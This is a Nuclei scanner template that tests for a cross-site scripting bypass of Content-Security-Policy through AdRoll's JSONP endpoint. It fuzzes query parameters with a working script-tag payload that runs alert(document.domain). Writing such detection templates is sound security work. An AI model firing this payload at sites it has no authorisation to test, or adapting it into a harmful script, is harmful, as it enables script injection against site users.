id: adroll-csp-bypass

info:
  name: Content-Security-Policy Bypass - AdRoll
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,adroll,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "adroll.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: adroll_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://d.adroll.com/user_attrs?advertisable_eid=5L5IV3X4ZNCUZFMLN5KKOD&jsonp=alert(document.domain)"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "adroll_csp_xss == true"
# digest: 4a0a00473045022016493e29406e1a8c4287be587d5286125d287c2957e9e8c7f092a170453fdae302210091c0bfc6435707008003306a43bb1f31dafcdcbc9dab65d2630013a5a331e25e:922c64590222798bb761d5b6d8e72950